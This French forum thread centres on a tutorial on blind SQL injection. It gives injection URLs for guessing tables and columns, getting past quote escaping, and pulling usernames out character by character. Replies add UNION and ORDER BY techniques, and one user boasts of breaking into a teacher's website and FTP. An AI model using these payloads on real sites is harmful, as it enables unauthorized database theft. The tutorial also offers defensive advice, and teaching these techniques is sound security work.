BoxBox
logo
Homepage
BoxBox
+  NewbieContest
|-+  Général» Tutoriaux» [HACKING] Blind SQL Injection
Username:
Password:
Pages: [1] 2
  Imprimer  
Auteur Fil de discussion: [HACKING] Blind SQL Injection  (Lu 2430 fois)
loic71

Profil challenge

Classement : 515/21901

Néophyte
*
Hors ligne Hors ligne
Messages: 43


Voir le profil
« le: 02 Mars 2010 à 22:43:50 »

BLIND SQL INJECTION







1 - INTRODUCTION
2 - DÉFINITION
3 - DÉTECTION
4 - DE LA FAILLE A L'EXPLOIT
5 - ÉCRITURE D'EXPLOIT
6 - RÉCUPÉRATION D'INFORMATIONS
7 - CONCLUSION








1 - INTRODUCTION

Ce document a pour but de vous faire découvrir, voire apporter un support d'aide à vos injections SQL "à l'aveugle".

Celles-ci, peu connues des développeurs, sont des armes redoutables qui ont fait, et feront encore longtemps leurs preuves.


2 - DÉFINITION

Les injections SQL dites "blind" (à l'aveugle) sont des injections SQL particulières.

En effet, le résultat de la requête nous est inconnu... Enfin presque  

Comprenez par là, que le seul retour que l'on peut avoir, est 'vrai', ou 'faux'.
De fait, afin d'accéder à une information précise, il faut la "deviner" lettre par lettre le plus souvent. D'où l'utilisation de bots (exploits) pour faire le travail.


3 - DÉTECTION

Les failles se détectent comme pour les injections SQL classiques.
Sauf que le résultat, est l'affichage ou non d'un bloc de la page, ou le changement d'ordre des données d'un tableau, ...

Exemple :
Une agence de location immobilière présente des appartements sur son site.
Il y a une liste d'appartements, et une fiche appartement par appart'.

Afin de pouvoir récupérer en bdd les informations liées à l'appartement dont vous voulez la fiche détaillée, un identifiant de l'appartement est placé dans chaque lien.

Imaginons la fiche suivante : 'http://mon-agence.com/fiche-appart.php?id=975'

Côté serveur, si le développeur n'est pas un grand fan de sécurité, on peut avoir quelque chose comme ceci :
Code:
$query = "SELECT * FROM appartements WHERE id=".$_GET['id']
$appartement = mysql_fetch_array(mysql_query($query));

if($appartement){
    echo 'adresse :' . $appartement['adresse'];
}

Si nous modifions l'url comme ceci :  
Code:
http://mon-agence.com/fiche-appart.php?id=975 and 1=0
La requête deviendra : "SELECT * FROM appartements WHERE id=975 and 1=0".

Or 1 est différent de 0. alors même si un appartement a l'id 975, il n'y aura aucun résultat!
Donc rien ne s'affichera.

Idem pour :
Code:
http://mon-agence.com/fiche-appart.php?id=975 and 1 = (select 0)
La spécificité ici est la requête imbriquée, une requête dans une autre :
"SELECT * FROM appartements WHERE id=975 and 1 = (select 0)".

Alors que l'adresse s'affichera pour :
Code:
http://mon-agence.com/fiche-appart.php?id=975 and 1 = (select 1)

Donc, on peut remarquer, que grâce au select imbriqué, on va pouvoir poser des questions au serveur de base de données.
Et que quand nous dirons quelque chose qui est vrai (eg : 1 = 1) alors l'adresse s'affichera.
Et donc, que, si l'adresse s'affiche, ça veut dire que l'on a dit quelque chose de vrai!  

Voilà, vous avez le concept de l'injection sql en aveugle entre les mains  


4 - DE LA FAILLE A L'EXPLOIT

Bon c'est bien, j'affiche, ou je cache un bout de texte, mais moi je veux l'accès admin!

Il faudra d'abord deviner la structure de la base de données. C'est ce qu'on appelle le guessing.
On ne cherche pas directement la valeur d'un champ, puisqu'on ne connait pas le nom du champ.
Ni même le nom du champ, puisque l'on ne connait pas le nom de la table.
Nous devons y aller pas à pas :
Cherchons tout d'abord le nom de la table que nous aimerions consulter :

Typiquement, on peut essayer des requêtes comme :
Code:
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from users)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from user)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from admin)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from ...)

Il y a d'autres techniques, bien plus pratiques, mais plus difficiles à mettre en place.
Nous en reparlerons à la fin de cet article.  

Avec les requêtes ci-dessus, si l'adresse s'affiche, alors la table existe...
Si vous avez une erreur type  : "Table 'users' doesn't exist" ou que la page ne s'affiche pas, c'est que la table n'existe pas.

Une fois que l'on aura trouvé la table des utilisateurs, que nous nommerons par la suite : 'utilisateur', nous devrons chercher le nom du champ!

Toujours pareil, si l'expression est vraie, l'adresse s'affichera.

Code:
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select login from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select username from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select pseudo from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select user_name from utilisateur)

La requête avec user_name affiche l'adresse de l'appartement! chouette, j'ai mon nom de champ  
On peut passer aux choses sérieuses!

Comme il est impossible d'afficher le login d'un utilisateur directement, nous allons tenter de le deviner :

Code:
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from utilisateur where user_name = 'admin')
Cette requête serait vraiment osée.
Elle ne passera en général pas, que ce soit a cause des quotes ( ' ) qui seront echappées (\') par php, ou à cause d'un login incorrect...

Pour bypasser la protection anti chaines de charactères, plusieurs possibilités s'offrent à nous.

- l'encodage en héxa : 'admin' = 0x61646d696e
- l'utilisation du couple de fonction [CONCAT] (click!) et [CHAR](click!) de mysql : 'admin' = CONCAT(CHAR(97), CHAR(100), CHAR(109), CHAR(105), CHAR(110))
Cf la table ASCII (ou avec l'aide de ce superbe outil (click!))


Ce qui peut donner quelque chose comme :
Code:
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from utilisateur where user_name = 0x61646d696e)

Evidemment, pour trouver un login comme ça, il va falloir un sacré paquet de chance...
Imaginez pour un mot de passe...  

L'idée c'est de chercher lettre par lettre (c'est un peu la technique du bruteforce):
Code:
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(97) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(98) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(99) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(100) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
...

Notez l'introduction de "LIMIT".
Cette option permettra de récupérer seulement la 1ère ligne de la table.

Quand on a trouvé la 1ere lettre, on passe à la suivante en changeant un paramètre de la fonction SUBSTR:
Code:
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(97) = (select SUBSTR(user_name,2,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(98) = (select SUBSTR(user_name,2,1) from utilisateur limit 0,1)
...

Et ainsi de suite pour le mot complet...
Ensuite, pour passer au second mot, on modifie le limit : LIMIT 1,1
Pour le troisième : LIMIT 2,1
Je vous dis ce qu'il faut mettre pour le 4ème?  

Vous imaginez bien que ça peut prendre un temps fou de faire ça à la main, d'où l'intérêt des exploits!


5 - ÉCRITURE D'EXPLOIT

Un exploit, est un programme qui va s'occuper de faire ces injections pour vous.
Il va s'occuper d'automatiser la récupération d'informations.

En simple, il s'agira de le faire boucler sur chaque lettre d'un mot, afin de vérifier son existence.
Pour cela, il récupèrera la page, et vérifiera dans notre cas que l'adresse s'affiche bien.

Évidemment cela peut s'améliorer afin de limiter au maximum le nombres de requêtes (et par la même le nombre de lignes dans les logs d'apache).

Peut-être verrons-nous cela plus en détail dans un prochain tuto  


6 - RÉCUPÉRATION D'INFORMATIONS - GUESSING

Le guessing peut être facilement fait avec un exploit, en attaquant le champ table_name de la table information_schema.tables.
En effet, cette table recense toutes les tables de la base de données, leurs structures, leurs champs, ainsi que le type de données.

Pareillement, on peut trouver l'utilisateur courant (current_user) et encore nombre d'autres informations...
Cela a une importance car un utilisateur SQL 'root' a un accès à toutes les bases de données du serveur.

Ceci est vrai pour MySQL et PostgreSQL.
D'autres noms de variables sont à prévoir pour d'autres SGBD.  


7 - CONCLUSION

Cette faille est énormément répandue, elle est souvent sous-estimée par les développeurs.
Les sites qui y sont vulnérables sont de véritables invitations au take over d'un serveur.

La possibilité d'automatiser la récupération d'information sur toute une base, voir même, de récupérer toute la base est des plus graves!
En couplant un exploit générique à un scanner Metasploit, il serait possible de récupérer des quantités d'informations énormes.

Protégez vous!
Addslashes ou mysql_real_escape_string() sur les entrées alphanumériques, et intval(), sur les entrées numériques, sont d'excellents boucliers.

Nonobstant de protéger non seulement les entrées utilisateurs tels les champs de formulaires, mais aussi les cookies, et les headers.
« Dernière édition: 21 Avril 2010 à 21:53:44 par the lsd » Journalisée
mogg41

Profil challenge

Classement : 519/21901

Membre Senior
****
Hors ligne Hors ligne
Messages: 263

Mogg41 pour vous aider!


Voir le profil
« #1 le: 04 Mars 2010 à 01:47:54 »

J'ai découvert la faille en même temps que le tuto que je trouve très bien.

C'est clair, concis, plein d'exemple et bien écris.

Je lui mets 9/10! Pourquoi pas 10? Parce qu'on peut toujours mieux faire...

En tout cas, merci pour ce tuto de qualité.
Journalisée

Il n'y a rien de facile ou de difficile, il n'y a que des choses que l'on sait faire ou pas.
Il n'y a pas de miracles, il y a juste des choses que l'on ne peut pas encore expliquer rationnellement.
phadeb
Profil challenge

Classement : 1531/21901

Néophyte
*
Hors ligne Hors ligne
Messages: 16


Voir le profil
« #2 le: 08 Mars 2010 à 01:17:32 »

Je soutiens.

Le tuto est clair et très bien expliqué, on appréciera les petites emphases sur les mots techniques, parfaitement pédagogique :-)

Y'a juste les liens des images qui ont été enlevés.
Journalisée
the lsd
Modérateur Global

Profil challenge

Classement : 115/21901

Membre Héroïque
*****
En ligne En ligne
Messages: 1714

Nonnn !! Pas les monsieurs en blanc !!!


Voir le profil WWW
« #3 le: 08 Mars 2010 à 01:21:40 »

Des images ? Quelles images ? Il n'y avait pas d'image je crois !

Enjoy

The lsd
Journalisée

Newbie Contest Special Member :
The lsd - Th3_l5D (IRC)
Statut :
Modérateur
Citation :
Vis tes rêves, ne rêve pas ta vie !  (pensée émue pour mon rat). Enjoy : N'a moi !
phadeb
Profil challenge

Classement : 1531/21901

Néophyte
*
Hors ligne Hors ligne
Messages: 16


Voir le profil
« #4 le: 08 Mars 2010 à 01:41:07 »

Des images ? Quelles images ? Il n'y avait pas d'image je crois !

Enjoy

The lsd

Euh il me semblait avoir vu des images, mais je confonds peut être avec un autre tuto 
Journalisée
FiRe_StoRM

Profil challenge

Classement : 732/21901

Membre Junior
**
Hors ligne Hors ligne
Messages: 66


Voir le profil
« #5 le: 08 Mars 2010 à 22:09:49 »

Que j'aime cette faille ! =P

A vrai dire, c'est par un hasard que je l'ai découverte sur un des sites de mon prof.

Si je puis me permettre, UNION ne pourrait pas fonctionner dans ce cas ?

Parce que perso, c'est ce que j'ai utilisé et ça a bien fonctionné puisque les login et pass se sont affichés par magie ! =P

Le tout suivi d'un upload de fichier non sécurisé (bah oui partie admin pourquoi sécurisé ? Peut être parce qu'un petit con y est entrer... xD ).

Bref, avoir accès au FTP de son prof webmaster, ça aide pour les exams (nan je déconne, j'ai aucun intêret à faire quoi que se soit, au contraire que des emmerdes à choper. C'était sympa mais sans plus).

Le seul truc c'est d'effectivemment trouver le nom de la table, et des champs.


A préciser qu'UNION doit contenir le même nombre de champs que la requête affiche mais il suffit de créer des champs fictifs numériques (ex pour 3 champs: 0, user_login, 2 -> Total de champ: 3 =P ).

Et comme un 9999999 UNION SELECT user_login, user_pwd FROM admin n'utilise pas le moindre guillemet, la requête passe sans problème.

Faut il encore avoir un serveur qui supporte ce genre de requête mais bon.

FIn ,je dis peut être des conneries, faut me corriger si ce que je dis est faux. ^^
Journalisée

Chercher simple, c'est ça le plus compliqué ! =P
loic71

Profil challenge

Classement : 515/21901

Néophyte
*
Hors ligne Hors ligne
Messages: 43


Voir le profil
« #6 le: 09 Mars 2010 à 21:41:47 »

Si je puis me permettre, UNION ne pourrait pas fonctionner dans ce cas ?

Dans ce cas, si, probablement.
Seulement, dans certains cas, le resultat d'une requête n'apparait pas sur la page.
La seule chose qu'on a est l'affichage ou non de la page (ou autre différence d'affichage, un booleen quoi).
D'où l'intérêt de la Blind SQL injection.

Ou alors, la chaine que tu entres est placée après un LIMIT (pour un système de pagination par exemple).

Imagine la requête suivante qui affiche 30 livres par pages (le numéro de page passant par $_GET :
Code:
SELECT * FROM livres ORDER BY nom LIMIT $_GET['page']*30,30;

Impossible d'y mettre un UNION (à ma connaissance).
Alors qu'après un LIMIT on peut toujours utiliser ORDER BY, et donc trier les résultats suivant une requête donnée (avec IF et un select imbriqué)...


Le seul truc c'est d'effectivemment trouver le nom de la table, et des champs.

Tu trouveras tout ça, sans forcément guessing.
Ca se trouve dans la base information_schema de tout serveur mysql  

A préciser qu'UNION doit contenir le même nombre de champs que la requête affiche mais il suffit de créer des champs fictifs
numériques (ex pour 3 champs: 0, user_login, 2 -> Total de champ: 3 =P ).

C'est la façon de faire brutale.
La plus 'propre' c'est d'utiliser 'ORDER BY'.
Avec ORDER BY, tu peux trier selon un champ de ta requête, et ils sont indexés.

Code:
select prenom, nom, adresse from utilisateur order by 1
Cette requête renverra les résultats triés par nom.

Du coup tu balances order by 10 tu regardes si ça passe, si oui 20, ... quand ça passe pas c'est qu'il y a moins de champs que ce que tu as mis en order by.
« Dernière édition: 09 Mars 2010 à 21:50:32 par loic71 » Journalisée
FiRe_StoRM

Profil challenge

Classement : 732/21901

Membre Junior
**
Hors ligne Hors ligne
Messages: 66


Voir le profil
« #7 le: 09 Mars 2010 à 22:13:15 »

Pour les champs fictifs, j'utilise aussi ORDER BY (bien plus rapide effectivemment), les champs fictis c'était pour montrer qu'il fallait le même nombre de champs.

Par contre pour la table information_schema je savais pas du tout et effectivement aussi, je viens de voir que tout est indiqué (et moi qui me suis cassé le cul durant plus d'une heure a jouer aux devinettes... ! xD ), donc gros merci de ta part. ^^

Dans mon cas, en réalité il se servait de l'ID pour sa requête, bref le cas le plus simple, et avec un bel affichage.

Merci pour la correction en tout cas. ^^
Journalisée

Chercher simple, c'est ça le plus compliqué ! =P
killer-one
Profil challenge

Classement : 11976/21901

Néophyte
*
Hors ligne Hors ligne
Messages: 3


Voir le profil
« #8 le: 23 Mars 2010 à 17:10:51 »

Très bon tuto= 10/10 je trouve (tout est bien expliquer...)
 
Journalisée
jerome93

Profil challenge

Classement : 4898/21901

Néophyte
*
Hors ligne Hors ligne
Messages: 8


Voir le profil
« #9 le: 02 Juin 2010 à 09:41:58 »

Bonjour je suis nouveau,

Quoi que je mette après la requête la page s'affiche.

Es ce normal ?

Soyer indulgent je suis débutant  
« Dernière édition: 03 Juin 2010 à 23:11:05 par jerome93 » Journalisée
TazzerMAN

Profil challenge

Classement : 13616/21901

Néophyte
*
Hors ligne Hors ligne
Messages: 1


Voir le profil
« #10 le: 02 Juin 2010 à 10:18:24 »

Merci pour le TUTO  
Journalisée

Les Canards régneront sur le monde ! :canard: :noel:
xJustiCe

Profil challenge

Classement : 830/21901

Membre Junior
**
Hors ligne Hors ligne
Messages: 61


Voir le profil
« #11 le: 02 Juin 2010 à 10:47:40 »

Bonjour je suis nouveau,

Quoi que je mette après la requête la page s'affiche :
/* moderated par the lsd : chuuut pas de lien*REFERENCE=4995875&newlang=fr

Donne la même chose que si je met :
/* moderated par the lsd : chuuut pas de lien*REFERENCE=4995875&newlang=fr and EXISTS(select * from users)

Ou tout autre requête.

Es ce normal ?

Soyer indulgent je suis débutant  

Je pense que tu n'as pas bien compris le tuto; c'est normal car les injections à l'aveugle sont un peu corsées. Avant toute chose, je te conseille de regarder un article traitant des injections "simples" : une injection de type 'OR = 1=1' par exemple.

Lorsque tu auras totalement compris l'exploitation de cette faille, tu pourras regarder cet article.
Aussi, il est nécessaire de connaître le PHP, SQL et comment marche une BDD. Pour cela, documente-toi sur le Site Du Zéro, une référence en matière de programmation.

Et enfin, si tu arrives sur la page d'accueil quoi que tu fasses, c'est peut-être que la faille n'est pas présente  .
« Dernière édition: 02 Juin 2010 à 11:30:18 par the lsd » Journalisée
tarzanlefumeur

Profil challenge

Classement : 16/21901

Membre Junior
**
Hors ligne Hors ligne
Messages: 76


Voir le profil
« #12 le: 02 Juin 2010 à 10:48:24 »

Citation
Posté par: jerome93
Quoi que je mette après la requête la page s'affiche :
T'es bien gentil, mais poster des liens comme ça ne se fait pas. Donc si tu pouvais les retirer...

Citation
Est-ce normal ?
Ensuite pour voir s'il y a une faille le plus simple est de tester avec un 1=0 puis un 1=1, et non pas commencer avec le guessing des champs etc.

Edit: zut, grillé par xJustice !
Journalisée
Kai
Profil challenge

Classement : 1915/21901

Néophyte
*
Hors ligne Hors ligne
Messages: 2


Voir le profil
« #13 le: 02 Juin 2010 à 12:51:52 »


L'idée c'est de chercher lettre par lettre (c'est un peu la technique du bruteforce):
Code:
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(97) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(98) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(99) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(100) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
...


Bonjour
c'est possible de faire  ça ?

[URL]?id=975 and CHAR(99) > (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)

Ce serait plus rapide que de brute force vraiment toutes les possibilitées
Journalisée
_o_
Relecteur

Profil challenge

Classement : 10/21901

Membre Héroïque
*
Hors ligne Hors ligne
Messages: 863


Voir le profil
« #14 le: 02 Juin 2010 à 14:42:11 »

c'est possible de faire  ça ?
[URL]?id=975 and CHAR(99) > (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)

Je n'ai pas vérifié si ta ligne était syntaxiquement correcte, mais dans l'esprit, c'est possible. Attention par contre, ce genre de test peut avoir des comportements inattendus suivant le charset utilisé.
Journalisée

Les épreuves de hack de NC sont trop faciles ? Et pourtant ! Bienvenue dans la vraie vie : http://thedailywtf.com/Articles/So-You-Hacked-Our-Site!.aspx
Pages: [1] 2
  Imprimer  
 
Aller à: